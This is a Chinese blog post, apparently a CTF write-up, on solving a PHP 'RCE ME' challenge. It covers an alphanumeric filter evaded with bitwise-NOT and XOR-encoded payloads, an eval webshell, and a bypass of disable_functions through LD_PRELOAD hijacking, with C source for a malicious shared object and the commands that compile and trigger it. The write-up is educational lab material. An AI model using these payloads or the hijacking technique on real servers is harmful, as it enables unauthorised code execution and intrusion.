记RCE disable_functions绕过学习 – 作者:Heph4es

RCE ME总结disable_functions绕过

源代码

<?php
error_reporting(0);
if(isset($_GET['code'])){      
	$code=$_GET['code'];
    if(strlen($code)>40){
        die("This is too Long.");
    }          
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }          
    @eval($code);
}else{
    highlight_file(__FILE__);
}
// ?>

首先对disable_functions进行摸查

绕过

采用取反或者异或绕过的方法

?code=(~%8F%97%8F%96%91%99%90)();

disable_functions

pcntl_alarm
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wifcontinued
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_get_last_error
pcntl_strerror
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_exec
pcntl_getpriority
pcntl_setpriority
pcntl_async_signals
system
exec
shell_exec
popen
proc_open
passthru
symlink
link
syslog
imap_open
ld
dl

构造webshell

?code=assert(eval($_POST[cmd]));
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

连接后该webshell无权限,无法执行大部分命令

QQ截图20210521092543.png

我们需要借助特殊手段—-利用LD_preload劫持子进程的函数调用,在结尾处简单介绍其原理。

GITHUB的EXP

/tmp//var/tmp/均存在上传权限,上传恶意so和php脚本

利用取反(或者异或)、变量拼接和对_GET传参的检查漏洞来绕过

目标payload

?code=${_GET}[_](${_GET}[_]);&_=assert&__=include(%27/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/tmp/bypass_disablefunc_x64.so

取反方法

?code=${~%A0%B8%BA%AB}[_](${~%A0%B8%BA%AB}[__]);&_=assert&__=include(%27/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/tmp/bypass_disablefunc_x64.so

异或方法

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/tmp/bypass_disablefunc_x64.so

补充1:~和^绕过

欺骗性和可用性验证

在接收到到编码后,php会对编码自动进行一次解码,如果解码后的字符串中不包含被过滤字符(包含~或^)则可以完成绕过

进行过滤或正则匹配,是包含取反或异或运算符的普通字符串进行的过滤。

若运算生成的是_GET等变量,则脚本已经完成了运算和解析,并将对应的变量存入_GET数组。

若生成的是可eval的语句,则在eval时也会对临时运算生成的可执行字符串进行执行。

var_dump($_GET);
echo "</br>";
echo preg_match("/[A-Za-z0-9]+/",$_GET["code"]);
echo "</br>".$_GET[_];

本地测试1

_GET
http://127.0.0.1/1.php?code=${~%A0%B8%BA%AB}[_](${~%A0%B8%BA%AB}[__]);&_=flag1&__=flag2

QQ截图20210521100617.png

本地测试2(eval)

phpinfo()
http://127.0.0.1/1.php?code=(~%8F%97%8F%96%91%99%90)();

QQ截图20210521100912.png

取反绕过

urlencode(~'_GET');

生成取反后的编码,上传时,只需要

?code=(~xxxxxxxxxxxxx)

为什么不需要解码呢?

因为我们传参后,php会对字符串中的url编码自动解码,我们只需要取反即可。

echo $_GET['code'];
echo "\n".~$_GET['code'];

// 输出:
//������� 
//phpinfo

异或绕过

假设我们想构造两个可以异或为_GET的字符串

我们可以利用异或运算的可逆性,先设定一个加密串

$a = '_GET';
$b = '2333';
$c = $a^$b;
echo $c;
// $c为 mtvg

验证

$a = '_GET';
$b = '2333';
$c = 'mtvg';
$d = $c^$b;
echo $d;
echo  $d === $a;

// 输出为_GET 和 1

补充2:利用LD_PRELOAD绕过禁用函数

此节部分参考深入浅出LD_PRELOAD & putenv(),特此附链

目前已知的功能

绕过open basedir对访问目录的限制

绕过disable functions

完成RCE

可用性

LD_PRELOAD指定的SO在所有SO之前被加载(早于系统SO),在其他文件被调用前被调用

利用SO可以重写替换系统函数

完成劫持后,新的子进程加载的就是我们的恶意SO,调用的是我们的被劫持函数了

利用方法

部分文件夹存在上传和访问(以上的)权限

利用putenv可以将设置添加到服务器的环境变量当中,但该环境变量仅存活于请求期间,我们可以利用其设置LD_PRELOAD为恶意的路径。

找到当前权限下可用的常用方法(直接调用或者间接调用,能触发就行),来重写该方法,生成evli shared(恶意so),令正常的函数变成hijacked functions(被劫持函数),对子进程调用的API函数进行劫持。

利用子进程调用函数,触发specific shared library,完成RCE(如将读文件日志导入可读文件夹下)

同时消除LD_PRELOAD防止调用陷入循环

img

编写例子(间接利用)

通过strance跟踪php的mail()函数,它执行会启子进程来调用sendmail发现其调用了geteuid()(还有很多可用),可对其进行利用

libraries:hack.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("ls / > /tmp/sky");
}
int geteuid() 
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

编译

gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so

运行脚本(子进程)

<?php
putenv("LD_PRELOAD=./hack.so");		// 添加hack.so到环境变量
mail('','','','');			// 触发一个子进程,来调用我们恶意函数
?>

/tmp/sky可以看到ls的输出

然而这个方法不是万能的,上面分享的GITHUB脚本中,阐述了sendmail方法的缺点和限制,可以自行查看

__attribute__((constructor))在加载OS后被调用

非函数方式environ消除LD_PRELOAD环境变量

PHP无任何 webshell 特征函数,在SO中

转载自CSDN本人博客:https://blog.csdn.net/DARKNOTES/article/details/117618862

来源:freebuf.com 2021-07-27 22:21:42 by: Heph4es

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论